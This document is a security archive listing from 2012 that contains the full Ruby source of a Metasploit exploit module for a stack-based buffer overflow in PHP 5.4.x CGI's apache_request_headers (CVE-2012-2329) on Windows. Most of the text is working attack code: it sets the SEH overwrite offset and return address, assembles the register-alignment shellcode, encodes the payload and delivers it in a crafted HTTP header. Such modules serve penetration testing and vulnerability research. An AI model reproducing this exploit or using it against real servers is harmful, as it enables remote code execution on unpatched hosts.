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PHP apache_request_headers Function Buffer Overflow

PHP apache_request_headers Function Buffer Overflow
Posted Jun 17, 2012
Authored by juan vazquez, Vincent Danen | Site metasploit.com

This Metasploit module exploits a stack based buffer overflow in the CGI version of PHP 5.4.x before 5.4.3. The vulnerability is due to the insecure handling of the HTTP headers. This Metasploit module has been tested against the thread safe version of PHP 5.4.2, from "windows.php.net", running with Apache 2.2.22 from "apachelounge.com".

tags | exploit, web, overflow, cgi, php
systems | windows
advisories | CVE-2012-2329, OSVDB-82215
MD5 | cd1d7cb5f3a3426e444147f38318f560

PHP apache_request_headers Function Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'PHP apache_request_headers Function Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow in the CGI version of PHP
5.4.x before 5.4.3. The vulnerability is due to the insecure handling of the
HTTP headers.

This module has been tested against the thread safe version of PHP 5.4.2,
from "windows.php.net", running with Apache 2.2.22 from "apachelounge.com".
},
'Author' =>
[
'Vincent Danen', # Vulnerability discovery
'juan vazquez', # Metasploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2012-2329'],
[ 'OSVDB', '82215'],
[ 'BID', '53455'],
[ 'URL', 'http://www.php.net/archive/2012.php#id2012-05-08-1' ],
[ 'URL', 'http://www.php.net/ChangeLog-5.php#5.4.3'],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=820000' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 1321,
'DisableNops' => true,
'BadChars' => "\x00\x0d\x0a\x5f\x80\x8e\x9e\x9f" + (0x41..0x5a).to_a.pack("C*") + (0x82..0x8c).to_a.pack("C*") + (0x91..0x9c).to_a.pack("C*"),
'EncoderType' => Msf::Encoder::Type::NonUpperUnderscoreSafe,
'EncoderOptions' =>
{
'BufferOffset' => 0x0
}
},
'Platform' => 'win',
'Targets' =>
[
['Windows XP SP3 / Windows 2003 Server SP2 (No DEP) / PHP 5.4.2 Thread safe',
{
'Ret' => 0x1002aa79, # ppr from php5ts.dll
'Offset' => 1332
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 08 2012'))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI path to the php using apache_request_headers', '/php/test.php']),
], self.class)

end

def exploit
print_status("Trying target #{target.name}...")

# Make ECX point to the start of the encoded payload
align_ecx = "pop esi\n" # "\x5e"
esi_alignment = target['Offset'] + # Space from the start of align_ecx to nseh handler
8 + # len(nseh + seh)
5 - # len(call back)
11 # len(align_ecx)
align_ecx << "add esi, -#{esi_alignment}\n" # "\x81\xC6" + 4 bytes imm (ex: "\xCA\xFA\xFF\xFF")
align_ecx << "sub ecx, ecx\n" # "\x29\xC9"
align_ecx << "add ecx, esi" # "\x01\xf1"
sploit = Metasm::Shellcode.assemble(Metasm::Ia32.new, align_ecx).encode_string
# Encoded payload
sploit << payload.encoded
# Padding if needed
sploit << rand_text(target['Offset']-sploit.length)
# SEH handler overwrite
sploit << generate_seh_record(target.ret)
# Call back "\xE8" + 4 bytes imm (ex: "\xBF\xFA\xFF\xFF")
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['Offset']+8}").encode_string
# Make it crash
sploit << rand_text(4096 - sploit.length)

print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")

res = send_request_cgi({
'uri' => target_uri.to_s,
'method' => 'GET',
'headers' =>
{
"HTTP_X_#{rand_text_alpha_lower(4)}" => sploit,
}
})

if res and res.code == 500
print_status "We got a 500 error code. Even without a session it could be an exploitation signal!"
end

handler
end
end

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